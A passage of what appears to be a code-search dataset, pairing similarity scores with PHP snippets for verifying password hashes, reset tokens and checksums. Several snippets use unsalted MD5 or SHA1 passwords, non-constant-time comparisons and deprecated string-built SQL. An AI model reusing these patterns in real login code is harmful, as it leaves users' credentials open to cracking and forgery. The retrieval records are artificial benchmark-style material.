"3bebc1fc2555080d5ee110daa66627a4", "score": "0.65224975", "text": "public function verifyHash($input)\n {\n return ($this->verifySalt(substr($input, 0, -31)) && 1 === preg_match('/^[\\.\\/0-9A-Za-z]{31}$/', substr($input, -31)));\n }", "title": "" }, { "docid": "89ca0b95ad5e3916017028946727e9cf", "score": "0.64841956", "text": "public static function isValidHash( $hash ) {\n\t\treturn ( substr( $hash, 0, 6 ) === '{SSHA}' );\n\t}", "title": "" }, { "docid": "9d18e8096aa5f96b6fc5a813d027d5ac", "score": "0.6475498", "text": "function validate($valid) {\n\t$ip = $_SERVER['SERVER_ADDR'];\n\t$key = md5( ip2long($ip));\n\t//echo $key;\n\tif ($key == $valid['key']) {\n\t\treturn true;\n\t}\n\treturn false;\n}", "title": "" }, { "docid": "8bcceba4a512d66c9626e62cc15b702d", "score": "0.6467826", "text": "static function check($plaintext, $hash)\n { \n return password_verify($plaintext,$hash);\n }", "title": "" }, { "docid": "527afe294ede5f9e43c97853c529879b", "score": "0.6447139", "text": "public function testHashEqualsValid()\n {\n $hash = sha1(mt_rand());\n $this->assertTrue(Gatekeeper::hash_equals($hash, $hash));\n }", "title": "" }, { "docid": "a364c216ff9bd01b8355953cd170ef9b", "score": "0.6438374", "text": "public function hashCheck(string $key, string $value): bool\n {\n if (!$this->hasHashingBehaviour($key)) {\n return false;\n }\n\n return Hash::check($value, $this->attributes[$key]);\n }", "title": "" }, { "docid": "2fb307bf6dff1163335a706fa8630d4a", "score": "0.64253974", "text": "function password_check($hashed_password, $existing_hash) {\n\t \n\t if ($hashed_password == $existing_hash) {\n\t return true;\n\t } else {\n\t return false;\n\t }\n\t}", "title": "" }, { "docid": "330bf97a69288a537de8c57a0e183004", "score": "0.6395083", "text": "function hash_authenticated($hash) {\n $query = \"SELECT webid FROM recovery WHERE recovery_hash='\".mysql_real_escape_string(trim($hash)).\"'\";\n $result = mysql_query($query);\n if (!$result) {\n die('Unable to connect to the database!');\n } else if (mysql_num_rows($result) > 0) {\n $row = mysql_fetch_assoc($result);\n $this->webid = $row['webid'];\n mysql_free_result($result);\n\n // remove the hash to disable it\n $query = \"UPDATE recovery SET \".\n \"recovery_hash=NULL \".\n \"WHERE webid='\".mysql_real_escape_string($this->webid).\"'\";\n $result = mysql_query($query);\n if (!$result) {\n die('Unable to connect to the database!');\n } else {\n mysql_free_result($result);\n }\n\n } else {\n $this->reason = 'Your recovery code does not match any records in our database.';\n return False;\n }\n return True;\n }", "title": "" }, { "docid": "f3200244f9de24c97b16c5e726855f6b", "score": "0.6391016", "text": "public function verify(string $rawPassword, string $hash): bool;", "title": "" }, { "docid": "ee4082ad7f6b8f627bf04eef6482e1a5", "score": "0.6387949", "text": "function password_check ($password , $existing_hash) {\n\t\t$hash = crypt($password, $existing_hash);\n\t\tif ($hash === $existing_hash) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "94be6fc26c1c718b5d35677eba9c7763", "score": "0.63790804", "text": "function hashEncryptVerify($input, $hash)\n{\n if (password_verify($input, $hash)) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "94be6fc26c1c718b5d35677eba9c7763", "score": "0.63790804", "text": "function hashEncryptVerify($input, $hash)\n{\n if (password_verify($input, $hash)) {\n return true;\n } else {\n return false;\n }\n}", "title": "" }, { "docid": "39aa1b9889b0e6939fa9e11e1c184a08", "score": "0.63707024", "text": "function hash_check(&$str = \"\", $base64_encoded = TRUE) {\n global $cfg, $user1;\n $user_id = (isset($user1->id)) ? $user1->id : 0;\n\n $untouched_str = $str;\n if ($base64_encoded === TRUE) $str = base64_decode(strtr($str, '-_!', '+/='));\n\n $dec = $this->hash_decrypt($str);\n $hash = $dec[0];\n $str = $dec[1];\n $computed_hash = $this->hash_crypt($str);\n if ($hash == $computed_hash) {\n return true;\n } else {\n error_log(print_r(array($untouched_str, $hash, $this->hash_crypt($str)), true));\n error_log(print_r(debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS), true));\n\n $page = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';\n $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];\n $this->intrusion_log->insert(array(\n\t\t\t\t'user_id'=>$user_id,\n\t\t\t\t'name'=>'GET',\n\t\t\t\t'value'=>$untouched_str,\n\t\t\t\t'domain'=>$_SERVER['SERVER_NAME'],\n\t\t\t\t'page'=>$page,\n\t\t\t\t'tags'=>'mangle',\n\t\t\t\t'filter_id'=>0,\n\t\t\t\t'description'=>'Detects mangling of encrypted string',\n\t\t\t\t'ip'=>$ip,\n\t\t\t\t'impact'=>999,\n\t\t\t\t'origin'=>$_SERVER['SERVER_ADDR'],\n\t\t\t\t'created'=>date('Y-m-d H:i:s')\n ));\n if (empty($_SESSION['feedback'])) $_SESSION['feedback']='';\n $_SESSION['feedback'] .= g_feedback(\"error\",\"Mangling attempt detected and has been logged.\");\n\n // Mangling log in UI in dev mode.\n if (isset($cfg['ENV']) && strtolower($cfg['ENV']) == 'local-dev') {\n\n $mhtml = \"<p><b>Mangling attempt detected and has been logged.<br /></b>\\n\";\n $mhtml .= \"Value: $untouched_str<br/>\";\n $mhtml .= \"Page: $page<br/>\";\n\n $debug = debug_backtrace();\n\n if (!empty($debug) && is_array($debug)){\n\n $mhtml .= \"<br/><br/>\";\n\n foreach($debug as $k=>$v){\n if (empty($v['file'])) $v['file']='';\n if (empty($v['line'])) $v['line']='0';\n if(!empty($v['args']) && in_array($v['function'], array(\"include\", \"include_once\", \"require_once\", \"require\"))){\n $mhtml .= \"#\".$k.\" <b>\".$v['function'].\"(\".$v['args'][0].\")</b> called at [\".$v['file'].\":<b>\".$v['line'].\"]</b><br />\";\n }else{\n $mhtml .= \"#\".$k.\" <b>\".$v['function'].\"()</b> called at [\".$v['file'].\":<b>\".$v['line'].\"]</b><br />\";\n }\n $mhtml .= \"------<br/>\";\n }\n }\n\n $mhtml .= \"</p>\\n\";\n\n $_SESSION['errors'][md5($page.$untouched_str.$debug)]['html'] = $mhtml;\n $_SESSION['errors'][md5($page.$untouched_str.$debug)]['errstr'] = $untouched_str;\n\n }\n\n\n return false;\n }\n }", "title": "" }, { "docid": "453bea2963f2383895207f81e70e4700", "score": "0.636701", "text": "function hackCheck($hash) {\n $clone = new User();\n $valid = $clone->find('first', array(\n 'conditions' => array('User.validate' => $hash),\n 'fields' => array('User.id', 'Group.id')));\n// debug($valid);\n// debug($this->data);\n if ($valid['User']['id'] == $this->data['User']['id']\n && $valid['Group']['id'] == $this->data['User']['group_id']) {\n $this->valid = $valid;\n } else {\n $this->valid = false;\n }\n// if (isset($this->data['Account']['id']) && $this->data['Account']['id'] != $this->userid) {\n// unset($this->data['Account']);\n// $this->data['Account'] = array('id' => $this->userid, 'active' => FALSE);\n// $this->Account->save($this->data);\n// $this->Session->setFlash('Your account has been deactivated because of suspicious activity. Call for more details, (510) 537-9711.');\n// $this->redirect(array('controller'=>'users', 'action'=>'logout'));\n// }\n// return true;\n }", "title": "" }, { "docid": "c4e9bed6c686cde5aace2dbfbe09e2a2", "score": "0.63490885", "text": "function val_pass( $pass_to_check, $password ){\n\treturn hash('md5', $pass_to_check) == $password;\n}", "title": "" }, { "docid": "3c99d2391049c02160c92e817972068f", "score": "0.6303314", "text": "function userAlreadyExists($user)\n{\n $hash = getHashedPW($user);\n if ($hash === false) return false;\n return true;\n}", "title": "" }, { "docid": "51d9e5bf1e2988166e87d507850ee18d", "score": "0.62770736", "text": "function _make_verify_checksums($info, $filename) {\n $hash_algos = array('md5', 'sha1', 'sha256', 'sha512');\n // We only have something to do if a key is an\n // available function.\n if (array_intersect(array_keys($info), $hash_algos)) {\n $content = file_get_contents($filename);\n foreach ($hash_algos as $algo) {\n if (!empty($info[$algo])) {\n $hash = _make_hash($algo, $content);\n if ($hash !== $info[$algo]) {\n make_error('DOWNLOAD_ERROR', dt('Checksum @algo verification failed for @file. Expected @expected, received @hash.', array('@algo' => $algo, '@file' => basename($filename), '@expected' => $info[$algo], '@hash' => $hash)));\n return FALSE;\n }\n }\n }\n }\n return TRUE;\n}", "title": "" }, { "docid": "921cbca54b9488d54c89a7901f8107cf", "score": "0.6271994", "text": "public function testCheckManyFunctionReturnsFalseIfAllHashesAreSafe()\n {\n $whoisResponse = MalwareChecker::checkMany([$this->safeHash, $this->safeHash]);\n\n $this->assertFalse($whoisResponse);\n }", "title": "" }, { "docid": "4bfed668795e6459c4d7e1126cc35a56", "score": "0.6250647", "text": "public function test_hash_and_check( $string ) {\n $hash = yourls_phpass_hash( $string );\n $this->assertTrue( yourls_phpass_check( $string, $hash ) );\n }", "title": "" }, { "docid": "ae6f6e1ff8b5386a0497364d601fc7b0", "score": "0.62501943", "text": "function isValidResetPasswordHash($user_id = null, $hash = null)\r\n {\r\n return (md5($user_id . '-' . date('y-m-d') . Configure::read('Security.salt')) == $hash);\r\n }", "title": "" }, { "docid": "e152ef86fa83d119d045408068407258", "score": "0.62482727", "text": "private function apr_md5_validate($pass, $hash)\n\t{\n\t\t$pass = escapeshellarg($pass);\n\t\t$hash = escapeshellarg($hash);\n\t\t$cmd = realpath(APPPATH.'/../cli-helpers').\"/apr_md5_validate $pass $hash\";\n\t\t$ret = $output = false;\n\t\texec($cmd, $output, $ret);\n\t\treturn $ret === 0;\n\t}", "title": "" }, { "docid": "a9ce5c6cfb9f163821c5fada60ce5a7f", "score": "0.6227126", "text": "public function is_valid(){\n\t\t$sql = $this->pdo->prepare(\"SELECT * FROM \".$this->setTable().\" WHERE id=:id\");\n\t\t$sql->bindParam(\":id\", $this->id);\n\t\t$sql->execute();\n\t\t$member = $sql->fetch(PDO::FETCH_LAZY);\n\t\t$user_hash = md5($_SERVER ['HTTP_USER_AGENT'].'%'.$member['password']); //создаем хэш для проверки\n\t\tif(!hash_equals ( $member['user_hash'] , $user_hash )){ \n\t\t\tsetcookie (\"member_id\",\"0\",time()-3600,\"/\");\n\t\t\treturn false;\t \n\t\t}else{\n\t\t\treturn true;\n\t\t}\n\t}", "title": "" }, { "docid": "4b7cc2abdeeb6a434ba9edeba6cc0f3d", "score": "0.61954254", "text": "public function is_connection_hash_valid() {\n $new_connection_hash = wp_hash( $this->consumer_key . $this->consumer_secret . $this->login_uri );\n $old_connection_hash = get_option( \"woocommerce_nwsi_connection_hash\" );\n\n return $new_connection_hash === $old_connection_hash;\n }", "title": "" }, { "docid": "7af261cb15ee585656734a982c0a1d0d", "score": "0.61945826", "text": "public function testHashEqualsDifferentLength()\n {\n $hash = sha1(mt_rand());\n $this->assertFalse(Gatekeeper::hash_equals($hash, md5(mt_rand())));\n }", "title": "" }, { "docid": "8a582dabed92965595108f561ed263c0", "score": "0.6192664", "text": "function checkHash($hashNumber)\r\n\t{\r\n\t $check = 0;\r\n\t\t$flag = 0;\r\n\r\n\t\t$hashString = sprintf('%u', $hashNumber) ;\r\n\t\t$length = strlen($hashString);\r\n\r\n\t\tfor ($i = $length - 1; $i >= 0; $i --) {\r\n\t\t\t$r = $hashString{$i};\r\n\t\t\tif(1 === ($flag % 2)) {\t\t\t \r\n\t\t\t\t$r += $r;\t \r\n\t\t\t\t$r = (int)($r / 10) + ($r % 10);\r\n\t\t\t}\r\n\t\t\t$check += $r;\r\n\t\t\t$flag ++;\t\r\n\t\t}\r\n\r\n\t\t$check %= 10;\r\n\t\tif(0 !== $check) {\r\n\t\t\t$check = 10 - $check;\r\n\t\t\tif(1 === ($flag % 2) ) {\r\n\t\t\t\tif(1 === ($check % 2)) {\r\n\t\t\t\t\t$check += 9;\r\n\t\t\t\t}\r\n\t\t\t\t$check >>= 1;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn '7'.$check.$hashString;\r\n\t}", "title": "" }, { "docid": "049317de347f9ac08cc711458b61bbf9", "score": "0.61856407", "text": "function ValidatePassword($password, $correctHash)\n{\n $salt = substr($correctHash, 0, 64); //get the salt from the front of the hash\n $validHash = substr($correctHash, 64, 64); //the SHA256\n\n $testHash = hash(\"sha256\", $salt . $password); //hash the password being tested\n\n //if the hashes are exactly the same, the password is valid\n return $testHash === $validHash;\n}", "title": "" }, { "docid": "8598d4ab53462ef4257524e468ecc518", "score": "0.6176208", "text": "function check_sha1_password( $check, $password, $hash, $user_id ) {\n if( is_sha1( $hash ) ) {\n\n $check = ( $hash == sha1( $password ) );\n\n if ( $check && $user_id ) {\n\n // Rehash using new proper WP hash\n wp_set_password( $password, $user_id );\n $hash = wp_hash_password( $password );\n\n // Allow login\n return true;\n\n } else {\n\n // SHA1 hash in db, but SHA1 has of provided $password did not match. Do not allow login.\n // echo $password . ' did not match ' . $check;\n return false;\n }\n }\n\n // Not SHA1 password, so return what was passed\n return $check;\n}", "title": "" }, { "docid": "4bb971ded3d75b846458024f2f07aa40", "score": "0.61749476", "text": "public function isValidMd5($hash)\n {\n return (bool) preg_match('/^[a-fA-F\\d]{32}$/', $hash);\n }", "title": "" }, { "docid": "1f7b07a15e98441b27849c8e798b889d", "score": "0.6169783", "text": "public function verify(string $string, string $hash, array $options = []): bool;", "title": "" }, { "docid": "9c0213dfa66de20fec3726d4b14ab306", "score": "0.61597115", "text": "function qiwi_CheckTransaction($hash) {\r\n $hash = loginDB_real_escape_string($hash);\r\n $query = \"SELECT `id` from `op_transactions` WHERE `hash`='\" . $hash . \"'\";\r\n $data = simple_query($query);\r\n if (!empty($data)) {\r\n return (false);\r\n } else {\r\n return (true);\r\n }\r\n}", "title": "" }, { "docid": "152516e01a05a54860d81fd6c62367ba", "score": "0.61595464", "text": "function CheckHash($Hashnum)\r\n{\r\n $CheckByte = 0;\r\n $Flag = 0;\r\n\r\n $HashStr = sprintf('%u', $Hashnum) ;\r\n $length = strlen($HashStr);\r\n\t\r\n for ($i = $length - 1; $i >= 0; $i --) {\r\n $Re = $HashStr{$i};\r\n if (1 === ($Flag % 2)) { \r\n $Re += $Re; \r\n $Re = (int)($Re / 10) + ($Re % 10);\r\n }\r\n $CheckByte += $Re;\r\n $Flag ++;\t\r\n }\r\n\r\n $CheckByte %= 10;\r\n if (0 !== $CheckByte) {\r\n $CheckByte = 10 - $CheckByte;\r\n if (1 === ($Flag % 2) ) {\r\n if (1 === ($CheckByte % 2)) {\r\n $CheckByte += 9;\r\n }\r\n $CheckByte >>= 1;\r\n }\r\n }\r\n\r\n return '7'.$CheckByte.$HashStr;\r\n}", "title": "" }, { "docid": "8481488c37b61d5d7402d7977cc5ebd3", "score": "0.61528325", "text": "private function checkHash($a, $b)\n\t{\n\t\t$diff = strlen($a) ^ strlen($b);\n\t\tfor($i = 0; $i < strlen($a) && $i < strlen($b); $i++)\n\t\t{\n\t\t\t$diff |= ord($a[$i]) ^ ord($b[$i]);\n\t\t}\n\t\treturn $diff === 0; \n\t}", "title": "" }, { "docid": "d03c6bb3834457283b114d7adcac6b5a", "score": "0.6151893", "text": "public function hash32not()\n {\n $this->validateHexWithLength(8, false);\n }", "title": "" }, { "docid": "bcb9bd564f531e7f416cad92d6abab05", "score": "0.61509687", "text": "function check_xid($xid)\n\t{\n\t\tif ($this->EE->config->item('secure_forms') != 'y')\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\t\n\t\tif ( ! $xid)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\t\t\n\n\t\t$this->EE->db->where('hash', $xid);\n\t\t$this->EE->db->where('ip_address', $this->EE->input->ip_address());\n\t\t$this->EE->db->where('date > UNIX_TIMESTAMP()-7200');\n\t\t$this->EE->db->from('security_hashes');\n\t\t$total = $this->EE->db->count_all_results();\n\t\t\n\t\tif ($total == 0)\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\treturn TRUE;\t\t\n\t}", "title": "" }, { "docid": "1b0b6e9e8a0109975fd63aaffa0ad5c2", "score": "0.61277235", "text": "function _user_verify_digest($digest, $nonce, $test_user) {\n $test_digest1 = md5($test_user['uid'] . ':' . $test_user['pass']);\n $test_digest = md5($nonce . ':' . $test_digest1);\n return ($digest == $test_digest);\n}", "title": "" }, { "docid": "3e15d20b42176a3bb85f96c2188cdc39", "score": "0.61276823", "text": "function isValidUser($username,$password){\n //$hashedPassword = hashPassword($password);\n return false;\n}", "title": "" }, { "docid": "7c8aed229d2a12df7295cbc82f99f26b", "score": "0.61276513", "text": "public function checkRecoveryHash($hash) {\n\t\tif($hash === $this->recoveryHash) {\n\t\t\t$this->passwordVerified = true;\n\t\t\t$this->recoveryHash = null;\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "f94f0b3dc1a2617f9977004e450dbe01", "score": "0.61216503", "text": "function checkPassword($password, $password_hash, $column_name, $column_value)\n{\n $result = false;\n $do_rehash = false;\n\n /* If the hash starts '$' it's a PHP password hash */\n if (substr($password_hash, 0, 1) == '$')\n {\n if (password_verify($password, $password_hash))\n {\n $result = true;\n if (password_needs_rehash($password_hash, PASSWORD_DEFAULT))\n {\n $do_rehash = true;\n }\n }\n elseif (!\\PasswordCompat\\binary\\check())\n {\n // password_verify() failed and we are using a version of PHP where\n // crypt() is broken and so we are stuck, unable to verify the \n // password. What has probably happened is that the passwords were\n // created on a system running PHP >= 5.3.7 and since then the database\n // was migrated to a system running PHP < 5.3.7. For further details\n // see http://stackoverflow.com/questions/12459896/password-compat-for-older-php-version\n trigger_error(\"Password created in a newer version of PHP and cannot be checked in this version\",\n E_USER_WARNING);\n }\n }\n /* Otherwise it's a legacy MD5 hash */\n else\n {\n if (md5($password) == $password_hash)\n {\n $result = true;\n\n if (\\PasswordCompat\\binary\\check())\n {\n $do_rehash = true;\n }\n }\n }\n\n if ($do_rehash)\n {\n rehash($password, $column_name, $column_value);\n }\n\n return $result;\n}", "title": "" }, { "docid": "153fea4e6e23c6d64f7c71860118b48f", "score": "0.61112773", "text": "public function isValid()\n {\n return ($this->getDbFileHash() == $this->sourceHash);\n }", "title": "" }, { "docid": "7fc5ae5965c4d8666573a7525269a63d", "score": "0.610229", "text": "function checkPassword(string $plainPassword, string $hashedPassword): bool\n {\n return Hash::check($plainPassword, $hashedPassword);\n\t}", "title": "" }, { "docid": "825a7efd682ed875a3ea1d943cd435cc", "score": "0.6074792", "text": "private function checkHashComponents(){\n\t\t\tforeach($this->hash_components as $component=>$is_mandatory){\n\t\t\t\tif(is_null($this->$component) && $is_mandatory){\n\t\t\t\t\techo 'A mandatory hash component \"'.$component.'\" is missing...<br/>';\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t}", "title": "" }, { "docid": "ff0d2216a9d79a560a91ae34fe71eee9", "score": "0.60738903", "text": "public static function my_password_needs_rehash($stored_password) {\n if (!empty($stored_password)) {\n return ((!(substr($stored_password, 0, 4) === '$2y$')) || (!(strlen($stored_password) === 60)) ? true : false);\n }\n throw new Exception('Error');\n }", "title": "" }, { "docid": "c30f682260e0704e37744f2d74f1f7e3", "score": "0.606812", "text": "public function isValidSHA1($hash)\n {\n return (bool) preg_match('/^[a-fA-F\\d]{40}$/', $hash);\n }", "title": "" }, { "docid": "3ab3a63884bf0b00c257c887591fe79f", "score": "0.6065088", "text": "public function check($string, $hash) {\n\t\treturn (bool) ( crypt($string, $hash) === $hash );\n\t}", "title": "" }, { "docid": "d123f4c83f67542f8e92c8e782e16482", "score": "0.60603243", "text": "function checkPasswordHash($password, $hash) {\n\tif(password_verify($password, $hash)) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n}", "title": "" }, { "docid": "27321357152d93ba13d6805ca1196ce6", "score": "0.60587233", "text": "public function validateHash($hash, $seed)\n {\n if ($hash == $this->getHash($seed)) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "7ae3be4269d33e239c99fd1753e63d9b", "score": "0.60435325", "text": "public function checkHash()\n {\n $config = $this->getDI()->get('config');\n $connect_string = sprintf('http://%s:%s@%s:%s/', $config->eunod->user, $config->eunod->pass, $config->eunod->host, $config->eunod->port);\n $coind = new jsonRPCClient($connect_string);\n\n return $coind->verifymessage($this->masternode_address, $this->signed_msg, $this->answer);\n }", "title": "" }, { "docid": "8fd342e6051bba78c1e66349c32a8689", "score": "0.6041838", "text": "public function hash();", "title": "" }, { "docid": "8fd342e6051bba78c1e66349c32a8689", "score": "0.6041838", "text": "public function hash();", "title": "" }, { "docid": "6ae2c189eff96bb5add2e20f5c718cf8", "score": "0.6025411", "text": "public function check($raw, $salt, $hashed) {\n\t\t\tif ($hashed === $this->hash($raw, $salt)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "3402c570c8ade7568dec9c362a1b0dfc", "score": "0.6022151", "text": "function verifyPassword($password, $hash)\n{\n if(!is_string($password) || $password==='')\n return false;\n\n if (!$password || !preg_match('{^\\$2[axy]\\$(\\d\\d)\\$[\\./0-9A-Za-z]{22}}',$hash,$matches) ||\n $matches[1]<4 || $matches[1]>31)\n return false;\n\n $test=crypt($password,$hash);\n if(!is_string($test) || strlen($test)<32)\n return false;\n\n return same($test, $hash);\n}", "title": "" }, { "docid": "a629bdd7b28ec7a37f85e858062f0907", "score": "0.60172796", "text": "abstract public function check();", "title": "" }, { "docid": "a629bdd7b28ec7a37f85e858062f0907", "score": "0.60172796", "text": "abstract public function check();", "title": "" }, { "docid": "b01837f2316ef717484592d2e6b983eb", "score": "0.59951115", "text": "function verifyPasswordResetHash($userId, $hash) {\n\t\t// append \":\" to ensure the explode results in at least 2 elements\n\t\tlist(, $expiry) = explode(':', $hash . ':');\n\n\t\tif (empty($expiry) || ((int) $expiry < time())) {\n\t\t\t// expired\n\t\t\treturn false;\n\t\t}\n\n\t\treturn ($hash === Validation::generatePasswordResetHash($userId, $expiry));\n\t}", "title": "" }, { "docid": "1c889f86b5366b314acd0e712839deba", "score": "0.5983767", "text": "public abstract function check();", "title": "" }, { "docid": "29b92069b4e0321efd11da652bbac584", "score": "0.5981413", "text": "public function checkHash(UserModel $user = null): bool {\n if ($this->user_id !== $this->hashModel->user_id) {\n throw new HashedLinkException('Hashed link does not belongs to the user with id ' . $user->id);\n }\n\n if ($this->hashModel->expired_at < time()) {\n throw new HashedLinkException('Token expired');\n }\n\n return true;\n }", "title": "" }, { "docid": "1c71d9cfc2135acd4e8ced7b3a0b7927", "score": "0.59676933", "text": "private function isValid()\n {\n for ($i = 1; $i < count($this->chain); $i++) {\n $currentBlock = $this->chain[$i];\n $previousBlock = $this->chain[$i - 1];\n\n if ($currentBlock->hash != $currentBlock->calculateHash()) {\n return false;\n }\n\n if ($currentBlock->previousHash != $previousBlock->hash) {\n return false;\n }\n }\n\n return true;\n }", "title": "" }, { "docid": "021487b17118986d06d3cbe9a7d30271", "score": "0.5957605", "text": "public function test_valid_cleartext() {\n $this->assertTrue( yourls_check_password_hash( 'clear', 'somepassword' ) );\n $this->assertFalse( yourls_check_password_hash( 'unknown', 'somepassword' ) );\n $this->assertFalse( yourls_check_password_hash( 'clear', 'wrongpassword' ) );\n }", "title": "" }, { "docid": "1fce2f94ce56249530f0b56defdd626f", "score": "0.59503275", "text": "public function checkHash($password, $stored_hash)\n {\n return $this->hashFunction->CheckPassword($password , $stored_hash);\n }", "title": "" }, { "docid": "67a76453421de29a38c8b0629a2fb86b", "score": "0.59451115", "text": "private function reset_check_hash($hash=NULL) {\n\t\t$return = array();\n\n\t\t$result = $this->db->select('user_reset', array('hash' => $hash));\n\t\t//$result = $this->redis->hgetall($hash);\n\t\tif ($result) {\n\t\t\t$request = $this->db->fetch_assoc($result);\n\n\t\t\t// request still valid\n\t\t\tif ($_SERVER['REQUEST_TIME'] < $request['expire_timestamp']) {\n\t\t\t\treturn true;\n\t\t\t} else {\n\t\t\t\t$return[\"alerts\"][] = array(\"class\" => \"error\",\"message\"=>\"This password reset request has expired.\");\n\t\t\t}\n\t\t} else {\n\t\t\t$return[\"alerts\"][] = array(\"class\" => \"error\",\"message\"=>\"This password reset request is not valid.\");\n\t\t}\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "cde23862a1588babae9cd299c6f2a193", "score": "0.594458", "text": "public function checkAndHash()\n {\n // if there's a new password, hash it\n if($this->changed('password'))\n {\n $this->set_password(Hash::make($this->password));\n }\n }", "title": "" }, { "docid": "960c5fd1aa908e7ff1a9b9cbe13ffdd5", "score": "0.59427565", "text": "function verifyPW($pw, $hash){\n\n if(password_verify($pw, $hash)){\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9e59938c1040b6422f2594fb82e94fd0", "score": "0.5932183", "text": "public static function isHash($variable)\n {\n return preg_match('#^[a-zA-Z0-9]{8,128}$#', $variable) === 1;\n }", "title": "" }, { "docid": "b78ede87fb914eea1760f45a0e289779", "score": "0.59240055", "text": "private function isBlockHashValid(Block &$current_block)\n {\n return ($current_block->hash === $current_block->calculateHash());\n }", "title": "" }, { "docid": "aaa0d0f4b1f4bfeffd9959f36fbd6eb2", "score": "0.59200585", "text": "public function checkPlayer( $player, $hash ){\n\t\t// only return true here if player and hash matches\n\t\treturn true;\n\t}", "title": "" }, { "docid": "8444e333c13e65b45d3570f636e59592", "score": "0.59179056", "text": "function CheckByCheckSum($key)\n {\n $key = $this->_prepareKey($key);\n if ($key === KEY_BAD)\n return $key;\n else\n {\n $s = _byte_substr($key,0,16);\n $cs = _byte_substr($key,16,20);\n $key_checksum = _ml_strtoupper($this->generateCheckSum($s));\n if ($key_checksum != $cs)\n {\n return KEY_BAD;\n }\n else\n {\n return KEY_CHECKSUM_OK;\n }\n }\n }", "title": "" }, { "docid": "81f60e4ddf69c5e8653e421af520908b", "score": "0.5917222", "text": "public function check($hash)\n {\n return $this->read($hash);\n }", "title": "" }, { "docid": "816c35dd2afdad492bbc11205377737f", "score": "0.59171814", "text": "public function checkHashExists($hash) {\n $return = false;\n\n $query = \"SELECT COUNT(id) AS hash_exists, 'student' AS registration_type FROM students WHERE activation_hash=:hash AND is_activated=0\";\n $q = $this->getEntityManager()->getConnection()->executeQuery($query, array(':hash' => $hash));\n $result_students = $q->fetch(2);\n\n $query = \"SELECT COUNT(id) AS hash_exists, 'teacher' AS registration_type FROM teachers WHERE activation_hash=:hash AND is_activated=0\";\n $q = $this->getEntityManager()->getConnection()->executeQuery($query, array(':hash' => $hash));\n $result_teachers = $q->fetch(2);\n\n if ($result_students['hash_exists']) {\n $return = $result_students;\n } elseif ($result_teachers['hash_exists']) {\n $return = $result_teachers;\n }\n\n return $return;\n }", "title": "" }, { "docid": "8a0b5b47ebd1cc2dd84d2edf21f0fb5c", "score": "0.591279", "text": "public static function validate($hash)\n {\n return preg_match(\"#^[A-Za-z0-9_\\#\\@\\-]+$#\", $hash);\n }", "title": "" }, { "docid": "15a0e2065280f8fb4c2fb3dc4154f2d8", "score": "0.58930576", "text": "public function checkPass(string $passKey) : bool;", "title": "" }, { "docid": "e45374ea9d59640b0a5494b636a26c32", "score": "0.58857876", "text": "public function check();", "title": "" }, { "docid": "e45374ea9d59640b0a5494b636a26c32", "score": "0.58857876", "text": "public function check();", "title": "" }, { "docid": "e45374ea9d59640b0a5494b636a26c32", "score": "0.58857876", "text": "public function check();", "title": "" }, { "docid": "e45374ea9d59640b0a5494b636a26c32", "score": "0.58857876", "text": "public function check();", "title": "" }, { "docid": "e45374ea9d59640b0a5494b636a26c32", "score": "0.58857876", "text": "public function check();", "title": "" } ]
4b4710f4cc00357f8d5211bd93773680
Finds and displays a Collection entity.
[ { "docid": "f05227d71e4e57a27f0273883b8997db", "score": "0.7420887", "text": "public function showAction(Collection $collection)\n {\n $deleteForm = $this->createDeleteForm($collection);\n\n return $this->render('collection/show.html.twig', array(\n 'collection' => $collection,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "title": "" } ]
[ { "docid": "786af3246da7a465e499f66d077ae720", "score": "0.67602766", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $collections = $em->getRepository('PackratBundle:Collection')->findAll();\n\n return $this->render('collection/index.html.twig', array(\n 'collections' => $collections,\n ));\n }", "title": "" }, { "docid": "3a04365c3a64c77dde284877b16ddd95", "score": "0.6732181", "text": "public function collectionAction()\n {\n if(!$this->_authenticateRequest()) {\n $this->_sendUnAuthorizedResponse();\n return;\n };\n\n $request = $this->getRequest();\n\n $modelClass = $request->getParam('class');\n $filters = $request->getParam('filters', array());\n $select = $request->getParam('select', array());\n $limit = $request->getParam('limit');\n $page = $request->getParam('page');\n\n $collection = $this->getModelHelper()->getCollection($modelClass, $filters, $select, $limit, $page);\n if($collection) {\n $this->_setJsonBody($collection);\n }else {\n $this->_notFound();\n $this->getResponse()->setBody(\"{}\");\n }\n }", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.64340866", "text": "public function getCollection();", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.64340866", "text": "public function getCollection();", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.64340866", "text": "public function getCollection();", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.64340866", "text": "public function getCollection();", "title": "" }, { "docid": "2b4a47caf13ce0a7c5f66e75683d5e8e", "score": "0.64340866", "text": "public function getCollection();", "title": "" }, { "docid": "7714940338a17a3388e8a6e48d17e0a6", "score": "0.6427186", "text": "public function show(Collection $collection)\n {\n return view('admin.collections.show', compact('collection'));\n }", "title": "" }, { "docid": "537822e8332b13ed1810f70961aaee30", "score": "0.6425311", "text": "public function show($id){\n $collection=Collection::findOrFail($id);\n $data = [];\n $data['collection'] = $collection;\n return 